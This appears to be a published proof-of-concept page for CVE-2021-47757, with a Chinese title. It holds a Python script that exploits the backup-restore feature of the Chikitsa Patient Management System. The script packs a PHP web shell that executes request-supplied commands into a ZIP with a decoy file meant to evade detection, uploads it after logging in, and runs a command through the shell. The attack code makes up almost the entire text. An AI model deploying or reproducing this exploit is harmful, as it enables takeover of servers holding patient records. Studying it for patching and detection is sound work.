CVE-2021-47757: Chikitsa Patient Management System 远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2021-47757 PoC - Chikitsa Patient Management System RCE via Backup Restore # Author: Security Researcher import zipfile import os import requests from io import BytesIO # Malicious PHP webshell payload webshell_content = b"<?php\nif(isset($_REQUEST['cmd'])){\n $cmd = $_REQUEST['cmd'];\n system($cmd);\n}\n?>" def create_malicious_backup(): """Create a malicious backup ZIP file with embedded PHP webshell""" zip_buffer = BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: # Add malicious PHP file to the backup zip_file.writestr('webshell.php', webshell_content) # Add legitimate backup structure to avoid detection zip_file.writestr('backup_info.json', '{"version":"2.0.2","timestamp":"2021-01-01"}') return zip_buffer.getvalue() def exploit(target_url, username, password): """ Exploit the backup restore functionality to achieve RCE """ session = requests.Session() # Step 1: Login to the application login_url = f"{target_url}/index.php/user/login" login_data = { 'username': username, 'password': password } response = session.post(login_url, data=login_data) if 'login' in response.url.lower(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Upload malicious backup backup_url = f"{target_url}/index.php/backup/restore" malicious_backup = create_malicious_backup() files = { 'backup_file': ('malicious_backup.zip', malicious_backup, 'application/zip') } response = session.post(backup_url, files=files) # Step 3: Execute command via webshell webshell_url = f"{target_url}/webshell.php" cmd = "whoami" response = session.get(webshell_url, params={'cmd': cmd}) if response.status_code == 200: print(f"[+] RCE Successful! Command output: {response.text.strip()}") return True else: print("[-] Exploitation failed!") return False if __name__ == "__main__": target = "http://target.com/chikitsa" exploit(target, "attacker", "password")